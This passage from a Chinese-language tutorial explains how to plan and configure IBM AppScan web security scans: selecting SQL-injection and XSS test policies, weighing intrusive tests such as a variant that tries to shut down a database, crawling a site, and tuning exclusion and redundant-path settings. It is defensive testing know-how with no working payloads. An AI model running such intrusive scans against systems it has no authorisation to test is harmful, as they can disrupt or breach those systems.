1. 选择缺省的扫描策略，或者把当前的扫描策略，切换到按照“类型”分类，取消掉“基础结构”和“应用程序”两种类型。

   说明：则把扫描策略置空，没有选择任何的扫描策略，指所有分布类型选择“类型”分类，是因为类型分类里面含有的类型，只有两种类型，可以快速全部都取消掉。

2. 分组类型，切换到“WASC 威胁分类”，选择“SQL 注入”和“跨站点脚本编制”。
3. 分组类型，切换到“类型”，发现这时候“基础结构”和“应用程序”两种类型的扫描策略都是选择上的模式，而且是虚线，说明这两种类型下均有部分扫描策略被选择了。
4. 我们不关心“基础结构”级别的安全问题，所以在这里取消“基础结构”。

图 2. 按“类型”分类的测试策略
 

5. 分组类型，切换到“侵入式”类型，下面有“非侵入式”和“侵入式”两种分类。取消“基础结构”级别的测试。

侵入式的测试用例，往往因为有比较强的副作用，可能对系统造成伤害，所以一般扫描生产系统的时候，很少选择。我们可以查看一个 SQL 注入类型的侵入式安全问题，在“输入以查找”输入框中输入“SQL”，然后回车查询。可以看到测试变体的描述“将参数值设置为 Declare/Case SQL 注入攻击（尝试关闭 DB 服务器）”，则扫描过程中，会使用该测试用例去执行尝试关闭数据库的命令，如果该测试用例执行通过，则就关闭了数据库，则整个系统就瘫痪！所以，要很慎重的选择“侵入式的测试用例”。

图 3. 查询测试策略
 

图 3 大图

其他的在“类型”中，“应用程序”类型表示该问题的存在是因为应用程序不严谨，代码存在安全问题而造成的，修改方法就是修改原代码；而“基础结构”类型，则表示该问题是配置问题，建议修改系统配置或者安装最新的补丁（经常是中间件或数据库补丁）。

了解被测试网站

在对网站进行测试之前，我们经常需要先大概了解下这个网站，比如该网站使用了哪些技术，提供什么类型的业务（功能），网站规模等。这些都和我们的扫描设置相关。如下图，就是我们经常使用的一个调查表，了解被测试系统的基本特点。

表 2. 记录被测网站特点

应用系统名称	访问地址	应用系统架构（JEE/.Net/PHP…）	URL 数量	登陆方式	备注

其中，用户经常迷惑的是 URL 数量，有些时候，用户很难评估出一个系统的大概页面数量，而按照 AppScan 的工作原理，扫描是针对页面的每个参数的，如果页面越多，参数越多，则扫描要运行的时间也就越长，扫描保存成的接过文件也是越大，更需要进行分解。如果一个扫描任务，本身的已访问 URL 数超过 5000，评估的要运行的安全测试用例数超过 50，000，则建议进行扫描配置的分析，并根据分析结果，决定是否需要进一步的任务分解和分工。

那么，如果可以了解到网站具体有哪些页面呢？这里我们就可以利用 AppScan 的探索（页面爬行）能力。

在扫描配置里面设置了主 URL 以后，工作菜单中中依次选择扫描 - 仅探索。对网站进行探索。一般会让探索工具运行 10 到 30 分钟，看该网站具体存在哪些页面，哪些参数等。这个就可以切换到“应用程序数据”视图来查看。

我们一般关心这几个视图：

• 已访问的 URL()：AppScan 已经探索到并且进行了分析的页面
• 已过滤掉的 URL()：AppScan 已经发现，同时根据扫描配置，认为不需要进行安全扫描的页面。
• 中断链接 URL()：AppScan 发现了，但是无法访问到或者访问出错的页面，如 404 页面不存在，或者 500 服务器错误等。

伪静态页面

可以选择左边“我的应用程序数据”中的 URL 树下的每一个节点，察看该节点已访问的 URL，已过滤掉的 URL 等。

如在已访问的 URL() 中，我们发现大量类似如下结构的 HTML 页面：

http://www.Test.com//focus/satisfy/file5.html http://www.Test.com//focus/satisfy/file6.html http://www.Test.com/m-zone/news/dgdd/quanbu/bylb/file5.html

其共同特征，都是以 html 为后缀名，最后的文件名格式都是 file+ 数字格式；这种类型的页面经常存在新闻，论坛等。如果访问这些页面，发现页面结构相同，差异的都是里面的文本内容，如提供不同的新闻内容等，这些页面就是所谓的“伪静态页面”，其实是网站发布系统动态产生的，由于结果相似，在安全扫描中，没有必要针对这些页面每次都进行扫描。如针对每个目录下面存在的 file+ 数字格式的页面，我们就可以设置正则表达式来过滤，比如，在扫描配置 - 排除路径和文件中

排除所有该类型的页面；.*file\d+.html

增加“例外”，对该类型的页面只扫描 file1.html 和 file20.html

经常存在的其他类似页面，还有 news1.html、content200.html 等类型，采用方法类似。

业务类型的“冗余路径”

和“伪静态页面”对应的有另外一种动态页面，这些页面按照默认的扫描规则，会被自动过滤，但是根据真实的业务场景，这些页面确实不能被过滤的，如访问 demo.testfire.net 时候在“已过滤 URL”内会显示有如下的 URL 地址，过滤原因都是“路径限制”：

http://www.Test.com/default.aspx?content=inside_community.htm http://www.Test.com/default.aspx?content=inside_press.htm http://www.Test.com/default.aspx?content=inside_executives.htm

选择 URL 地址，鼠标右键“在浏览器中显示”，会发现这里显示的页面内容完全不一样，和上面的“伪静态页面”正好相反，这些参数相同，参数值不同的动态页面，是真正的业务页面，是不能过滤掉；如果过滤，则会很多后续的业务页面无法发现。那这些页面为什么会被过滤了呢？按照什么样的规则被过滤掉的？

在 AppScan 中，默认情况下是有一个“冗余路径限制”（在“扫描配置 - 探索选型 - 冗余路径限制”），默认对于冗余的页面，最多扫描 5 次，关键的问题是，什么页面被被 Appscan 认为是冗余页面呢 ?

图 4. 冗余路径设置
 

简单说：

http://www.Test.com/default.aspx?content=inside_community.htm http://www.Test.com/default.aspx?content=inside_press.htm

Appscan 是根据“?”号来分隔的，如果 ? 号前面的内容都相同，则就被认为是冗余页面，所以上面的页面就是冗余页面了。

遇到这样情况的页面，最多被访问 5 次。而这 5 次，具体是使用了哪些参数，是随机的，具体访问到的页面也会在“应用程序数据”视图的“已访问的 URL”中查看：

http://www.Test.com/default.aspx?content=business.htm http://www.Test.com/default.aspx?content=business_lending.htm http://www.Test.com/default.aspx?content=inside_contact.htm

可是，在本例中 content 参数值不同的时候，其实根据业务逻辑，不应该算作“冗余页面的”，而按照配置，也会被自动过滤了，遇到这种情况，就需要考虑增加“冗余路径限制”，如设置为 20 或者 50。以可以更多次访问这些页面。

这些情况经常存在于跳转参数等情况。

顺便备注下，“冗余路径限制”，功能设置的目的是为了处理类似论坛 BBS 等页面，只有文本内容不同，页面架构完全相同的页面：如

http://www.Test.com/showthread.php?id=1 http://www.Test.com/showthread.php?id=2 http://www.Test.com/showthread.php?id=3

而我们在测试 demo.testfire.net 时候会发现每次的安全测试结果都可能有差别，一个很大的原因就是每次访问的页面是不同的，就是这个设置的影响。

分析重复的“脚本参数”

在上面的步骤中，分析了“伪静态页面”，对其应该通过“排除路径或者文件名”的方法设置排除规则；而对于“业务类型的冗余路径”，则需要通过增加“冗余路径显示”个数等的方法进行扩充，以扫描到这些 URL。我们在这个步骤来分析另外一种参数，脚本参数。

在“我的应用程序数据”树状结构下，鼠标选择目录以后，在右边视图中选择“脚本参数”，然后查看是否存在不同页面（URL) 存在相同或者类似参数的情况：如下图，在不同 URL 中，都存在 kbKey 参数，默认的参数值是“请输入您要搜索的问题”：

图 5. 脚本参数
 

图 5 大图

访问这些 URL，发现每个页面内都包含了一个搜索功能，这就是为什么在不同页面都发现了该参数。而从业务角度，这些搜索页面在一个 URL 中进行测试以后，没有必要在另外一个页面也进行测试。而且该参数值的变化，可以认为是冗余页面，没有必要进行下一步的重新探索和测试。这可以通过上图中，选择该参数后，鼠标右键，选择“添加到‘参数和 Cookie’选项卡中的列表”来实现。选择后弹出下面的页面：

图表 6　添加参数定义（根据参数来设置冗余路径）
 

图 6 大图

在该页面中，点击“其他选项－冗余调整”，取消选择任何一个选择框，则表示无论是否含有该参数，无论该参数值是否发生变化，都不认为是新页面，没有必要重新测试，而且不应该因为该参数的变化去影响其他参数的测试。

我们知道，AppScan 中的测试，是针对页面的每个参数进行的，而且一个参数值的变化会要求重新测试其他的参数，所以该设置，可以大大减少测试用例数。

关于更多的设置说明，可以参照下面的解释：

表 3. 设置说明

选框	选中时 ...
只要添加或除去此参数 /cookie，便再次探索 URL。	在探索阶段，如果两个 URL 的唯一区别在于一个包括此参数，而另一个不包括此参数，那么将其视为不同 URL，并且对两者都进行探索。 例如，如果是以下两个 URL，两者都将进行探索： ...page.jsp ...page.jsp?thisParam=Value 如果您取消选中此复选框，那么在此情况下，将仅发送一个请求，而其他请求将被废弃。
只要此参数 /cookie 的值更改，便再次探索 URL。	在探索阶段，如果两个 URL 的唯一区别在于此参数 /cookie 的值，那么将其视为不同 URL，并且对两者都进行探索。 例如，如果是以下两个 URL，两者都将进行探索： ...page.jsp?thisParam=Value1 ...page.jsp?thisParam=Value2 如果您取消选中此复选框，那么在此情况下，将仅发送一个请求，而其他请求将被废弃。
只要添加或除去此参数 /cookie，便重复所有相邻参数 /cookie 测试。	在测试阶段，如果两个 URL 的唯一区别在已添加或除去了此参数，那么将其视为不同 URL，并且再次测试相邻参数。 例如，如果是以下两个 URL，将为相邻参数生成两组完整的测试，每个 URL 一组。 ...page.jsp?adjacentParam=<test_this> ...page.jsp?adjacentParam=<test_this>&thisParam=Value 如果您取消选中此复选框，将为相邻参数仅生成一组测试。
只要此参数 /cookie 的值更改，便重复所有相邻参数 /cookie 测试。	在测试阶段，如果两个 URL 的唯一区别在于此参数 /cookie 的值，那么将其视为不同 URL，并且再次测试相邻参数。 例如，如果是以下两个 URL，将为相邻参数生成两组完整的测试，每个 URL 一组。 ...page.jsp?adjacentParam=<test_this>&thisParam=Value1 ...page.jsp?adjacentParam=<test_this>&thisParam=Value2 如果您取消选中此复选框，将为相邻参数仅生成一组测试。

查看每个目录页面个数

如果一个扫描任务，本身的已访问 URL 数超过 5000，评估的要运行的安全测试用例数超过 20，000，则建议进行扫描配置的分析，并根据分析结果，决定是否需要进一步的任务分解和分工。

我们在“我的应用程序数据”树状结构下，鼠标选择目录以后，在右边视图中选择“已访问的 URL()”，记录 URL 数目，如果该目录 URL 数目比较大（超过 500）则可以考虑为该目录单独建立一个扫描任务，只扫描该目录下面的链接。

回页首

执行阶段

根据在“计划阶段”确定的扫描策略，和进行的扫描设置，重新进行探索（扫描菜单依次选择：重新扫描 - 重新探索）；后继续分析页面数和测试用例数目，如果控制页面数 5000 个以内，测试用例数 20，000 个以内，则可以直接进行扫描；如果没有，建议继续分析，优化扫描配置。

分阶段测试

AppScan 的扫描过程分为“探索”和“测试”两个阶段，默认情况下，使用的是完全扫描模式，即是边探索边测试的。如果网站比较大，建议考虑先探索后测试的模式。

如当 URL 达到 5000，需要进行的测试达到 50000 的时候，可以暂停扫描，手工停止探索，选择“继续仅测试”。对已经发现和分析的页面进行测试，测试完毕，再来选择“继续仅探索”，即：

继续仅探索 --- 继续仅测试—继续仅探索 - 仅测试的一个循环过程。

在这个过程，一个阶段结束以后，建议查看下 .Scan 文件的大小，如果大小超过了 500M，则建议考虑任务分解，可以根据目录把一个扫描任务分解为多个，或者根据扫描策略来进行分解。

该方法是利用了 AppScan 扫描过程中，探索测试可以分离，而且支持扫描过程中断后继续扫描的特性。

按照业务分解扫描任务

在实际工作中，我们扫描的一个大型网站，往往包含多个频道，而每个频道可能需要的扫描配置都不同，这些配置甚至互相冲突。如一个网站的提供了 BBS 论坛功能：

http://www.Test.com/WWW.TEST.COM/showthread?channel=1&thread=1001 http://www.Test.com/WWW.TEST.COM/showthread?channel=30&thread=2001

对于这样的页面，访问后发现页面结构相同，只是文本内容不同，则应该使用“冗余路径限制”参数，控制扫描次数，没有必要多次扫描。

同时，该网站的一个服务频道存在如下的页面：

http://www.Test.com/default.aspx?content=inside_executives.htm http://www.Test.com/default.aspx?content=privacy.htm

即上面提到的业务类型的“冗余路径”，应该多次扫描，配置上要求增大“冗余路径限制”参数。

在这种情况下，就很有必要根据业务分别建立扫描任务，每个任务采用不同的扫描配置。